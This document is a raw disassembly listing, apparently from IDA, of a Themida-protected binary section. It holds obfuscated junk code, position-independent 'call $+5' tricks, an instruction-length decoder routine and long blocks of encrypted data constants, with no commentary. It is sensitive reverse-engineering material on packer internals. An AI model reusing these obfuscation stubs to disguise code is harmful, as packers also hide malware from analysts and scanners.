		mov	edx, edx
		call	loc_60954F
		xor	ebp, eax
		mov	dh, 0C4h
		hlt
; ---------------------------------------------------------------------------
		db 8Ch
; ---------------------------------------------------------------------------


loc_60954F:				; CODE XREF: Themida_:00609544p
		or	cx, 18ECh
		pop	esi
		mov	eax, edi
		add	esi, 7158h
		mov	cl, 0F9h
		push	1C2Fh
		sbb	ebx, 2CAF881Bh
		pop	edx
		adc	ebx, 1C5A74EBh


loc_609571:				; CODE XREF: Themida_:006095DFj
		push	dword ptr [esi]
		xor	bh, 60h
		pop	edi
		mov	eax, 2B24F350h
		xor	edi, 3EB66A60h
		mov	eax, 22E51136h
		add	edi, 7B3493CAh
		and	ah, 77h
		sub	edi, 4298E3B4h
		jnz	loc_6095A4
		push	eax
		add	eax, 6AF38308h
		pop	ebx


loc_6095A4:				; CODE XREF: Themida_:00609596j
		mov	[esi], edi
		jb	loc_6095B8
		jmp	loc_6095B8
; ---------------------------------------------------------------------------
		jnz	short loc_6095CC
		mov	esi, 0D00E5D98h


loc_6095B8:				; CODE XREF: Themida_:006095A6j
					; Themida_:006095ACj
		sub	esi, 2
		pusha
		movsx	ecx, bx
		popa
		dec	esi
		dec	esi
		mov	bx, di
		dec	edx
		jnz	loc_6095D8


loc_6095CC:				; CODE XREF: Themida_:006095B1j
		jmp	loc_6095E9
; ---------------------------------------------------------------------------
		db 62h,	16h, 0DCh
		dd 21FC1C2Fh
; ---------------------------------------------------------------------------


loc_6095D8:				; CODE XREF: Themida_:006095C6j
		pusha
		sbb	bh, 9Eh
		mov	ebx, edx
		popa
		jmp	loc_609571
; ---------------------------------------------------------------------------
		dd 0A75F2F75h
		db 6Bh
; ---------------------------------------------------------------------------


loc_6095E9:				; CODE XREF: Themida_:loc_6095CCj
		pop	esp
		adc	ch, al
		sbb	al, 2Eh
		mov	esi, 629C28CCh
; ---------------------------------------------------------------------------
		db 8Eh
		dd 9A7033F1h, 0E6344B05h, 37717C79h, 748495FFh,	0A845182h
		dd 9AF06030h, 9E04A8D2h, 9A896E1Eh, 36330C17h, 3725FE3Fh
		dd 0BD3BBD30h, 3734DE30h, 37307CD9h, 59D53630h,	0B417A637h
		dd 0CD2A988Dh, 0B33BF637h, 37347B3Ah, 373746D9h, 0DE636130h
		dd 0B2B91B70h, 3F34CC35h, 0DF67DB5Ah, 3734ED33h, 6CF7AD10h
		dd 331027B9h, 3310F9B1h, 3734DE28h, 0EEF73C73h,	0AAE35BD8h
		dd 3734D0D9h, 9453E30h,	9CE49961h, 716B7338h, 13303460h
		dd 372F5E3Fh, 3EDC6F30h, 0F734B730h, 0E0017860h, 6EF1209Ch
		dd 3734F0D8h, 770FAE30h, 6D845AAFh, 0D0B1536Ah,	5D3C6F4Ah
		dd 34DCE630h, 1734DB30h, 0BE6D2E69h, 0B630D27Ch, 2A305F74h
		dd 7634BD30h, 8D451D61h, 29CFBA71h, 0E528B238h,	7F8A4BC5h
		dd 6740456Dh, 3734E2D9h, 7CAF2830h, 952B51A0h, 0ECA10EE9h
		dd 40B69EBDh, 7FBDDCB6h, 718D4B11h, 0C8308309h,	0CD2F63A5h
		dd 61341137h, 3734BED8h, 0F46AFE30h, 1340E66Eh,	13703634h
		dd 3734CD34h, 0F462AB30h, 0BC480FBAh, 372092F0h, 32F4BD30h
		dd 9B8F84B4h, 0EB2C1601h, 160484F9h, 4C3414CEh,	8AB7B9A5h
		dd 30CEE0E1h, 0B43D0E30h, 0CD01888Dh, 2E40DE37h, 0F7BF3C60h
		dd 3730CD88h, 1AB15230h, 0BA33172Eh, 0CA0B2CADh, 6CE78437h
		dd 2893E68h, 37332405h,	64647844h, 3730CD88h, 1AB15230h
		dd 0BA33172Eh, 0CA083FADh, 6CE78437h, 6434D768h, 3734DDD8h
		dd 0F46F4F30h, 13683E6Bh, 13705A34h, 3734F634h,	0F467B530h
		dd 1EB68069h, 9DA20724h, 3734CED9h, 25FF7930h, 76924EB4h
		dd 0E5EFBF39h, 0D3FF1D7Ah, 37391F0Fh, 1CBA7B30h, 36C23B98h
		dd 1FD933E0h, 0BC90F246h, 5166D7F0h, 6F2F6788h,	0D8A96051h
		dd 383CF64Ah, 0B2B9B587h, 3F34CEE7h, 3737503Fh,	883B6F30h
		dd 5DE448CBh, 34DC8D30h, 1734ED30h, 0BE6A356Eh,	0B6305F44h
		dd 2C309974h, 7134DE30h, 55C3AC66h, 0E5C79169h,	0BF3BDB42h
		dd 3734ED39h, 37BBF950h, 0CE347B30h, 38F4B651h,	3734B7B4h
		dd 60340530h, 3734B4D8h, 0F46BFB30h, 1348646Fh,	13707734h
		dd 37346734h, 0F463FA30h, 2C4DAC05h, 0B73974EBh, 0C783B828h
		dd 786746BDh, 0FFBFEACAh, 3734F588h, 62341130h,	3734BED8h
		dd 0F469FE30h, 1358E66Dh, 13703634h, 3734C634h,	0F461A830h
		dd 684D7DAh, 0F8DB8485h, 0D4CB7D5Bh, 3734D7D9h,	20C44930h
		dd 9A84BAFBh, 0AAB94145h, 3F3497C7h, 0DF62F65Ah, 37347B33h
		dd 69F7E310h, 3310AAB9h, 33102BB1h, 3734B724h, 0BEF78D76h
		dd 0BAFA5A3Fh, 374721B5h, 0B8D0C538h, 0E7CBB71Ah, 3CC75556h
		dd 8CB060F0h, 5D34B730h, 34DC8C30h, 1734ED30h, 0BE6B356Fh
		dd 0B6305F4Ch, 22309974h, 7034DE30h, 7AAFAC67h,	3734B8D9h
		dd 9DB32730h, 0F0B4EFCEh, 0F24BF4C7h, 57FF7703h, 5A570256h
		dd 3734CED9h, 0A88BE30h, 0FC594EADh, 96D8C9F3h,	8E26B3DCh
		dd 64A97B23h, 5133817Fh, 8F36728Eh, 3734DE31h, 0DF626F5Ah
		dd 3734B733h, 69F78510h, 331099B9h, 3310B2B1h, 37347B2Bh
		dd 1DF7EB76h, 4EC02C9h,	3856FCA1h, 3734B1B4h, 0A3E55A30h
		dd 0C8366909h, 66349CD3h, 373478D8h, 0F46D9D30h, 13785769h
		dd 1370EE34h, 3734AA34h, 0F4659A30h, 5F650F1h, 0CB038139h
		dd 30DD0802h, 0FD34BD30h, 42926BBEh, 0AAB9A2D5h, 3F34CDCCh
		dd 3734CBD8h, 0ED982330h, 0DD78DD72h, 0A6C745Ch, 0E3FC7031h
		dd 69CF55CCh, 44E3EABDh, 3CDCBF30h, 6F34DB30h, 96EBD64Ah
		dd 0EFA658EDh, 0B6520EA9h, 69F43CC2h, 375E0ECFh, 37378763h
		dd 6C14B730h, 6BBD80F3h, 73B5E914h, 3728F214h, 64777B30h
		dd 0BDB088F3h, 12FDC8D9h, 0F73F04EFh, 377A333Fh, 375EDB30h
		dd 37370565h, 6A14F630h, 5BBD26F3h, 73B5B914h, 3721DA14h
		dd 62716F30h, 0BA7BE4F3h, 0CD7B88ADh, 37320537h, 0C589F630h
		dd 84758B10h, 3734B0D9h, 87592230h, 103BEEFDh, 764B299Ah
		dd 0B76B6090h, 348C44E2h, 5134F630h, 0D4CB8ABBh, 6134D773h
		dd 3734DDD8h, 0F46A4F30h, 13403E6Eh, 13705A34h,	3734FA34h
		dd 0F462B030h, 0FA7D2A00h, 66DE3C56h, 8AB926F5h, 3F3415D5h
		dd 484E3ABDh, 4A8CD330h, 4BEA66Ch, 0CD2533B5h, 0F6FB5037h
		dd 0C7AAB9D9h, 5A3F3497h, 33DF62F6h, 1037347Bh,	0B969F7E3h
		dd 0B13310AAh, 0E983102Bh, 8BA4F305h, 0E961B6C0h, 0Ch
		dd 0B6894126h, 2F3846ABh, 0AF4E5D58h, 6AC38Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0D8E139C3h, 5C1DC9BEh, 5CF8192h, 8B5D918Dh, 51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0EE8DBEAh, 248726B5h, 0BD839BF1h, 7FA16D1h, 83097500h
		dd 0FA3535BDh, 19740007h, 0C08B5350h, 47AB8h, 2D858900h
		dd 8D07FA11h, 0FD40419Dh, 5BD3FF07h, 35BD8358h,	7FA35h
		dd 53501774h, 47AB8h, 2D858900h, 8D07FA11h, 0FD3CE29Dh
		dd 5BD3FF07h, 9E858h, 0AA0C0000h, 880B1AB5h, 0BAEBFABBh
		dd 14580024h, 57006A5Fh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 6C5F6EB9h, 375D0332h, 8D8DC08Bh
		dd 8008107h, 5E8h, 5B94C00h, 8A0F2573h,	2, 895BC7B3h, 0FA27C18Dh
		dd 0C7D18B07h, 0FA1C0185h, 629807h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 4B45593h, 899326F9h
		dd 0FA1ABDB5h, 68A0F07h, 0B000000h, 0FA2605BDh,	0ED85C707h
		dd 7FA1Ah, 0FF000000h, 0FA28C5B5h, 0EE28107h, 0FF15ECB9h
		dd 0FA177D95h, 31C28007h, 95FF006Ah, 7FA012Dh, 7AEBC08Bh
		dd 6A092F0Fh, 0E4B64848h, 0A5AF8478h, 92857797h, 8A0F4EFDh
		dd 4C979402h, 0D4AC136h, 479D2B39h, 2D9941Ch, 7B947681h
		dd 55183889h, 5BE0C92Bh, 7101F939h, 7FF3C99Ch, 828E018Ch
		dd 0BB987C3Eh, 606541EAh, 842B5A54h, 0A9379AB0h, 513BA480h
		dd 1D594BA2h, 0E43EBAECh, 32B6EE40h, 0D6419D55h, 5323BCEFh
		dd 0F59FDFFh, 0EB35DFEFh, 0C0761524h, 16F73B12h, 0CCF4845Fh
		dd 66E9B80Fh, 60000002h, 0F6D98C66h, 840F04C1h,	35h, 0B5FF016Ah
		dd 7FA1229h, 3A58858Dh,	0D0FF07FEh, 27698589h, 0FE8B07FAh
		dd 680CEFC1h, 20060000h, 26A006Ah, 0D6857h, 95FF0001h
		dd 7FA2769h, 32E9h, 7185C600h, 5607FA15h, 0C530DF68h, 8DB5FFA9h
		dd 8D07FA1Eh, 0FE3A5885h, 89D0FF07h, 0FA18B585h, 0C5858D07h
		dd 5007FA0Bh, 56A406Ah,	0B595FF56h, 6107FA18h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 82098589h, 428B0800h, 185890Ch
		dd 8B080082h, 85891042h, 8008205h, 823FB58Dh, 858D0800h
		dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 8209B5h, 1858B08h, 83080082h
		dd 8205BDh, 840F0008h, 7, 2E90689h, 88000000h, 0CF06h
		dd 0
		dd 8B520000h, 428B60D4h, 9858908h, 8D080082h, 8290B5h
		dd 0A1858D08h, 0FF005B8Eh, 8B5A61D0h, 820985h, 4C208h
		dd 8209858Bh, 8B0800h, 82098589h, 0CF0800h, 60000000h
		dd 8266B589h, 85890800h, 8008262h, 0B29858Dh, 408B07FAh
		dd 9F858944h, 8D080082h, 82D5B5h, 0A1858D08h, 0FF005B8Eh
		dd 858B61D0h, 8008266h,	629D8BC3h, 0F080082h, 33C43B7h
		dd 785B8BD8h, 82629D03h, 738B0800h, 62B50324h, 56080082h
		dd 8B207B8Bh, 0BD031C73h, 8008262h, 8262B503h, 83FC0800h
		dd 8B41FFC9h, 82669Dh, 3178B08h, 826295h, 4C78308h, 0C084028Ah
		dd 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh, 0FFFFE7E9h
		dd 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh, 386048Bh
		dd 826285h, 66858908h, 8B080082h, 8BCE8BF0h, 9FBD81C1h
		dd 80082h, 0FC03000h, 0D85h, 14E8C100h,	0FFC25h, 8E900h
		dd 0E8C10000h, 3FF82512h, 0BD8B0000h, 800829Fh,	6070C83h
		dd 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 9FBD8100h, 80082h
		dd 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h, 0E8C10000h
		dd 0FFF82509h, 2D007Fh,	83400000h, 0F70608h, 80h, 1E840Fh
		dd 0BD810000h, 800829Fh, 0C0300000h, 0E840Fh, 0F8250000h
		dd 8B00003Fh, 60000080h, 60883C0h, 0D858DCFh, 89080082h
		dd 0FA1B5D85h, 0A3858D07h, 89080082h, 0FA25FD85h, 6A858D07h
		dd 89080082h, 0FA182985h, 1C8E907h, 88880000h, 7 dup(88880041h)
		dd 41h,	3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 8C20000h, 756E6600h,	0FE80h,	11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 80085EDh, 3A85C760h
		dd 80085h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 800853Eh
		dd 6, 24E9h, 42858D00h,	50080085h, 8592858Dh, 56500800h
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	853E85h
		dd 0B5036108h, 800853Eh, 853A858Bh, 0C35D0800h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_60A17D
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_60A189
; ---------------------------------------------------------------------------


loc_60A17D:				; CODE XREF: Themida_:0060A166j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_60A189:				; CODE XREF: Themida_:0060A178j
		push	ebx
		push	esi
		push	edi


loc_60A18C:				; CODE XREF: Themida_:0060A1E1j
					; Themida_:0060A1FDj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_60A19F:				; CODE XREF: Themida_:0060A1C6j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 80086A4h
		lea	ebp, [ebp+800851Ah]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_60A1CC
		inc	cl
		cmp	cl, 0Bh
		jb	loc_60A19F


loc_60A1CC:				; CODE XREF: Themida_:0060A1BBj
		cmp	cl, 0Bh
		jz	loc_60A229
		cmp	al, 66h
		jnz	loc_60A20A
		cmp	byte ptr [ebp-5], 0
		jnz	loc_60A18C
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_60A202
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_60A18C
; ---------------------------------------------------------------------------


loc_60A202:				; CODE XREF: Themida_:0060A1EFj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_60A20A:				; CODE XREF: Themida_:0060A1D7j
		cmp	al, 67h
		jnz	loc_60A18C
		cmp	byte ptr [ebp-6], 0
		jnz	loc_60A18C
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_60A18C
; ---------------------------------------------------------------------------


loc_60A229:				; CODE XREF: Themida_:0060A1CFj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_60A255
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_60A25A
; ---------------------------------------------------------------------------


loc_60A255:				; CODE XREF: Themida_:0060A234j
		movzx	edi, al
		shr	edi, 1


loc_60A25A:				; CODE XREF: Themida_:0060A250j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 800875Ch
		lea	ebp, [ebp+800841Ah]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_60A3DC
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_60A320
		dec	ecx
		jz	loc_60A303
		dec	ecx
		jnz	loc_60A373
		cmp	byte ptr [ebp-2], 0
		jnz	loc_60A36F
		cmp	byte ptr [ebp-5], 0
		jz	loc_60A2E2
		mov	byte ptr [ebp+0Bh], 2


loc_60A2E2:				; CODE XREF: Themida_:0060A2D8j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 80087E8h
		mov	dword ptr [ebp+800853Ah], 1
		pop	ebp
		jmp	loc_60A373
; ---------------------------------------------------------------------------


loc_60A303:				; CODE XREF: Themida_:0060A2BDj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_60A34D
		cmp	byte ptr [ebp-5], 0
		jz	loc_60A34D
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_60A34D
; ---------------------------------------------------------------------------


loc_60A320:				; CODE XREF: Themida_:0060A2B6j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_60A366
		cmp	byte ptr [ebp-5], 0
		jz	loc_60A355
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_60A34D
		mov	[ebp+0Bh], cl


loc_60A34D:				; CODE XREF: Themida_:0060A307j
					; Themida_:0060A311j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_60A373
; ---------------------------------------------------------------------------


loc_60A355:				; CODE XREF: Themida_:0060A32Ej
		cmp	dl, 5
		jnz	loc_60A373
		mov	[ebp+0Bh], dl
		jmp	loc_60A373
; ---------------------------------------------------------------------------


loc_60A366:				; CODE XREF: Themida_:0060A324j
		cmp	dl, 6
		jnz	loc_60A373


loc_60A36F:				; CODE XREF: Themida_:0060A2CEj
		mov	byte ptr [ebp+0Bh], 3


loc_60A373:				; CODE XREF: Themida_:0060A2C4j
					; Themida_:0060A2FEj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_60A3A1
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_60A383:				; CODE XREF: Themida_:0060A399j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_60A383
		mov	esi, edx


loc_60A3A1:				; CODE XREF: Themida_:0060A376j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_60A3D6
		cmp	edi, 7Fh
		ja	loc_60A3D6
		test	bl, 38h
		jnz	loc_60A3D6
		cmp	byte ptr [ebp-7], 0
		jz	loc_60A3D0
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_60A3D3
; ---------------------------------------------------------------------------


loc_60A3D0:				; CODE XREF: Themida_:0060A3C1j
		push	1
		pop	eax


loc_60A3D3:				; CODE XREF: Themida_:0060A3CBj
		mov	[ebp-1], al


loc_60A3D6:				; CODE XREF: Themida_:0060A3A5j
					; Themida_:0060A3AEj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_60A3DC:				; CODE XREF: Themida_:0060A286j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_60A407
		dec	eax
		dec	eax
		jz	loc_60A3FD
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_60A40F
; ---------------------------------------------------------------------------


loc_60A3FD:				; CODE XREF: Themida_:0060A3ECj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_60A40C
; ---------------------------------------------------------------------------


loc_60A407:				; CODE XREF: Themida_:0060A3E4j
		mov	al, [ebp-3]
		add	al, 4


loc_60A40C:				; CODE XREF: Themida_:0060A402j
		add	[ebp-1], al


loc_60A40F:				; CODE XREF: Themida_:0060A3F8j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_60A437
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_60A422:				; CODE XREF: Themida_:0060A431j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_60A422


loc_60A437:				; CODE XREF: Themida_:0060A417j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		lea	eax, [ebp+80085E7h]
		mov	[ebp+7FA0A3Dh],	eax
		lea	ecx, [ebp+8008A44h]
		push	0
		push	edi
		call	sub_60A45B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60A45B	proc near		; CODE XREF: Themida_:0060A453p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_60A45B	endp

; ---------------------------------------------------------------------------
		db 2Dh
		dd 554117Ch, 6997C7E0h,	0E781660Fh, 74B7B5B5h, 27C18D89h
		dd 0BD8B07FAh, 7FA084Dh, 1C0185C7h, 6BC407FAh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 92DC2BC3h, 5F4E4D8Eh, 858B618Ch, 7FA19C1h, 1AED85C7h
		dd 7FAh, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1A0424h, 50400000h, 838CA1C3h, 1BA6E3C4h, 7E957h, 0B0480000h
		dd 0E3CFD71Eh, 958B5B83h, 7FA2439h, 2429B5FFh, 6A07FAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0C36ED5C3h, 0C11ED247h, 0EE9h, 1DB34E00h, 4B94C68Eh
		dd 0EB779D1Bh, 8B19CE9Eh, 7D95FFC2h, 8B07FA17h,	0FF006AFBh
		dd 0FA012D95h, 0EBC08B07h, 0DA614D4Ah, 53D8FCE5h, 0E3DC2A42h
		dd 0BC3119FEh, 0CEB7629Dh, 4A4DB230h, 7DD362A1h, 9B3FAB3h
		dd 0F6F8E436h, 0ECA5A2F3h, 4FE57FE2h, 0ED646B53h, 4B1FCB39h
		dd 0C61C3944h, 732E6D9Ah, 0BA590E04h, 251AE799h, 1C0AFEE2h
		dd 0E8E6C909h, 11h, 125EECA1h, 2AB413B9h, 0EAB696DEh, 0E91143Eh
		dd 5EE4B25Ch, 0A559D8Bh, 0C68107FAh, 6A04h, 3485958Bh
		dd 6807FAh, 80000000h, 8B58FDC6h, 0FA03A195h, 63C8B07h
		dd 6890Fh, 0B5290000h, 7FA0735h, 3F0AC781h, 8D8B2168h
		dd 7FA1639h, 9D8AF781h,	8B527A41h, 0C78159CBh, 281C28BFh
		dd 3341B589h, 665707FAh, 48FC88Bh, 9BC68006h, 8B1958Bh
		dd 0E88307FAh, 12800F04h, 0E8000000h, 6, 5F3C6C71h, 8D09CE6Ah
		dd 7FA0C6Dh, 0ACF8815Bh, 0FFFFF96h, 0FFFF9885h,	12E9FFh
		dd 9FFD0000h, 0C1A89C9Ah, 0E53579C4h, 0D023CB8Dh, 0DF49837Fh
		dd 8C2E8D8Dh, 0AE90800h, 3D000000h, 25A273ACh, 30E85DBAh
		dd 0C18D894Ch, 6A07FA27h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 2B34C357h, 85891CCEh
		dd 7FA1389h, 0A8F0Fh, 0B3600000h, 0F18D89BAh, 6107FA1Dh
		dd 1C0185C7h, 5A4407FAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0B142D8C3h, 7E5E2060h
		dd 29B58B98h, 0C707FA25h, 0FA1AED85h, 7, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 3A7A2154h, 0B61A4E4Eh, 0BF0F6486h, 19B5FFD6h, 8107FA34h
		dd 0F2DD6DEh, 0DD952943h, 0FF07FA1Ah, 0FA177D95h, 2860F07h
		dd 0B6000000h, 0D1B58980h, 6A07FA34h, 2D95FF00h, 8B07FA01h
		dd 8A5CEBC0h, 73C8321Bh, 3A6F5B7Eh, 840EC961h, 85E1BCF5h
		dd 2CF424DCh, 1C18B909h, 0E5EF077h, 3C94D193h, 951EBEA7h
		dd 2D45E339h, 78AFE186h, 93FA93A9h, 0BFD2AE1Dh,	0F9B5030Ah
		dd 752DBA95h, 10F14B1Ah, 65AADC63h, 399DFDDBh, 58B39B1Bh
		dd 0BB279621h, 0C5CBEFBBh, 5CDEF0F7h, 0E954B425h, 3Fh
		dd 30B26F16h, 0
		dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h,	0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h,	0DEh, 3	dup(0)
		dd 0E9000000h, 173Bh, 8EB068h, 0F1FAE908h, 9868FFF9h, 0E9080091h
		dd 0FFF9F1F0h, 938768h,	0F1E6E908h, 0AC68FFF9h,	0E9080094h
		dd 0FFF9F1DCh, 968F68h,	0F1D2E908h, 0B368FFF9h,	0E9080098h
		dd 0FFF9F1C8h, 9A5768h,	0F1BEE908h, 0D268FFF9h,	0E908009Eh
		dd 0FFF9F1B4h, 0A12168h, 0F1AAE908h, 30A0FFF9h,	0DCF6FA08h
		dd 796DA28h, 0D8F9F50Dh, 0C610F022h, 0E002D43Eh, 58AA5A74h
		dd 8E84BC18h, 33DF6572h, 947E804Bh, 0D4CBF7C5h,	2DC25D96h
		dd 0CF036757h, 91F6CF35h, 636E128Bh, 0FD8A23E1h, 0FE273305h
		dd 6D2230Dh, 3EC8D7FBh,	9021CA5Dh, 71933D43h, 0A709BA93h
		dd 0FDF709C3h, 39556334h, 0EF215A69h, 5E22DC03h, 586C35CAh
		dd 7E02F63Ch, 7952B252h, 4CF06A0Eh, 0C1DDD25Eh,	5D330E15h
		dd 6A5A67C2h, 4E6E8EC3h, 0AB9700C1h, 1BB69A16h,	36F3F2D6h
		dd 0CC0AC25Dh, 0CFF3BC38h, 7D41D102h, 3C4BF1E1h, 516F913Ch
		dd 0AFF93681h, 0CAA68692h, 0F391F60Eh, 92F57747h, 0BB0C317Ah
		dd 0C424B6CCh, 162EA835h, 557E47ADh, 0EBF80F6Bh, 0BA460E2h
		dd 5F1CFB8h, 0CA5DD276h, 7EF6159Dh, 0A5F4E157h,	46848F2h
		dd 0B7AE3ACAh, 10BA5C65h, 0E6DD6770h, 5A77D3DDh, 6549F7A0h
		dd 98AA2549h, 0FE25D35Ch, 55BA5C64h, 5C657271h,	0BCF6CBBAh
		dd 0B24889E7h, 73893E5h, 15C1B270h, 0BA5D010Eh,	166A5A67h
		dd 0AD13C0D4h, 29A906D1h, 3BD7C013h, 0B4AB1773h, 0DBA5C5Ah
		dd 2AA5D3C4h, 0A70A5E19h, 0D2018ADDh, 0EDEA8632h, 0C0149D57h
		dd 79FE6607h, 867C0BA7h, 9DB3A8B4h, 0D97C0FDAh,	29AAC6EAh
		dd 0D8B48413h, 26FC3FC8h, 2E598217h, 56E12CCAh,	0ECFB63C2h
		dd 0CAF9D232h, 0ADE243D7h, 453292D6h, 14C6h, 788AB222h
		dd 70A25A78h, 53BF7990h, 669CA62Bh, 4AB84C8Ah, 0DCFA5A7Ch
		dd 3A96DA28h, 0DFF8F80Ah, 0C611ED25h, 0BD03C63Ch, 5D960A19h
		dd 0F10163C2h, 0E612AE12h, 0CA5E23BFh, 465D8B18h, 9FCA5E24h
		dd 58738512h, 0F9CA4453h, 87D4E7B7h, 0DD795579h, 68C7C3E7h
		dd 0F99E80F8h, 7CBAF8Bh, 692EF7FDh, 3E82BC17h, 3A46076h
		dd 0E799FFDh, 54B48684h, 0B4FCC779h, 60F5ECD8h,	0A84CCA5Dh
		dd 0CA5D6179h, 0F0C101D2h, 37BD4790h, 0AB17296Eh, 0D2577881h
		dd 0D1C87440h, 59EFB567h, 7E6A466Ah, 0C2634C67h, 0D8A4F3C0h
		dd 544F743Ch, 9D15EBEEh, 7B5B86EAh, 4500C263h, 1EBA96A6h
		dd 52450EE6h, 6F282233h, 0FDDA7602h, 7324AD47h,	9A04h
		dd 8E482400h, 978E3A76h, 0F0C26383h, 12E0B4E3h,	67526CC2h
		dd 2F58D4B4h, 347C7D5Bh, 99756C58h, 5CECA5Dh, 660AA692h
		dd 911ADA6Ah, 0CEA47206h, 0F599D257h, 6363D2D1h, 53E9E9C2h
		dd 8535626Fh, 9672853Dh, 4B84F275h, 0F7B90AB9h,	0F4302F93h
